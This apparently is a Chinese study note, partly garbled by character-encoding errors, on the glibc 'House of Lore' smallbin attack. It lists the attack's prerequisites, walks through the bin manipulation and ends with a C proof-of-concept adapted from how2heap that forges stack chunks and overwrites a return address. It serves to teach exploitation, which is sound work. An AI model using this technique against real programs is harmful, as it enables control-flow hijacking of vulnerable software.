載酒堆學(xué)習(xí)筆記smallbinAttack-House of Lore

smallbinAttack-House of Lore
本人技術(shù)很菜,有錯(cuò)處請(qǐng)大佬們批評(píng)指教~
存在于<glibc 2.31版本
【利用條件】
1、堆溢出寫,需要寫到bk位(不需要寫到size?。?;
2、泄漏fd獲得heap基址、泄漏棧基址;
3、不需要edit函數(shù),就算是只有create帶edit的情況下也能用;
【漏洞影響】
read限制大小不能夠覆蓋到retaddr的情況下,導(dǎo)致棧溢出覆蓋到retaddr(不能過CANARY)
【原理】
我們需要構(gòu)建smallbin→塊①→塊②→塊③
這樣的結(jié)構(gòu),其中塊②塊③都是棧上緩沖區(qū)寫下的fakechunk
下面是一種構(gòu)建方法:
1、首先,直接構(gòu)建以下的結(jié)構(gòu)↓:

可以看到,這個(gè)真貨①其實(shí)是在獨(dú)自美麗,然后這兩個(gè)假貨②③跑過來伸出自己的fd碰瓷er~
2、然后,騷操作來了,現(xiàn)在我們來malloc一個(gè)largebin范圍的chunk,這一操作有兩個(gè)意義(一箭雙雕):
(1)malloc在嘗試從largebin中獲得chunk時(shí)會(huì)觸發(fā) malloc_consolidate 使fastbin變成unsortedbin從而獲得指向unsortedbin數(shù)組元素的fd和bk,如下圖↓:

(2)然后,malloc因?yàn)樵趌argebin中找不到合適的freechunk又會(huì)到unsortedbin中找,這又會(huì)觸發(fā)遍歷整理unsortedbin操作使得①這個(gè)victim進(jìn)入到smallbin,而因?yàn)棰冖圻€沒有被①的bk指,所以不算unsortedbin不會(huì)被遍歷處理到!處理結(jié)果如下圖↓:

3、最后,通過堆溢出寫,使①的bk指向②,這樣就形成了smallbin→塊①→塊②→塊③
這樣的結(jié)構(gòu)
構(gòu)架實(shí)現(xiàn)后,malloc(victim大小)
執(zhí)行兩次,即可控制到棧上的fakechunk對(duì)其進(jìn)行edit操作,導(dǎo)致棧溢出寫
【原理復(fù)現(xiàn)】
參考以下的模擬程序↓:
// $ gcc smallbin_test.c -o smallbin_test
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void evil_func(){ puts("you are pwnned!"); }
int main(int argc, char * argv[]){
?? ?// 構(gòu)建①即victim
? intptr_t *victim = malloc(100);
? intptr_t *victim_chunk = victim-2;//chunk 開始的位置
?? ?// 構(gòu)建②③這兩個(gè)碰瓷哥
? intptr_t* stack_buffer_1[4] = {0};// ②
? intptr_t* stack_buffer_2[3] = {0};// ③
? stack_buffer_1[2] = victim_chunk;
? stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
? stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
?? ?// 大壩
? void *p5 = malloc(1000);
?? ?// 把①釋放為fastbin,此時(shí)①的 fd、bk 為零
? free((void*)victim);
? // 這時(shí)候去申請(qǐng)一個(gè) largebin范圍的chunk,于是觸發(fā) malloc_consolidate 使之將①變?yōu)閡nsortedbin從而獲得fd和bk,然后因?yàn)閘argebin沒有匹配項(xiàng)就會(huì)導(dǎo)致程序去unsortbin然后去topchunk,而在去unsortedbin的時(shí)候會(huì)觸發(fā)遍歷處理unsortedbin導(dǎo)致①又被變?yōu)閟mallchunk,而此時(shí)②③因?yàn)闆]有被①的bk指而沒有被當(dāng)做unsortedbin處理掉~
? void *p2 = malloc(1200);
? // 現(xiàn)在模擬一個(gè)可以覆蓋 victim 的 bk 指針的漏洞,讓他的 bk 指針指向②,這就導(dǎo)致形成了一條①→②→③的smallbin鏈
? victim[1] = (intptr_t)stack_buffer_1;
? // 然后申請(qǐng)一個(gè)跟victm一樣大小的chunk,這樣就可以把victim回收變成一個(gè)allocated chunk,此時(shí)smallbin鏈中就應(yīng)該是②→③
? void *p3 = malloc(100);// ①
? // 此時(shí)再malloc 一次,此時(shí)重點(diǎn)來了!雖然②的size字段是0,但是在glibc<2.31版本里,取smallbin只看在哪條smallbin鏈,沒有看smallbin的size字段的冗余檢查,所以此時(shí)被回收取出的是②
? char *p4 = malloc(100);// ②
?? ?// 這里對(duì)②使用edit就可以導(dǎo)致類似棧溢出覆蓋ret_Addr的效果
? intptr_t sc = (intptr_t)evil_func;
? memcpy((p4+40), &sc, 8);
}??以上代碼改編自how to heap~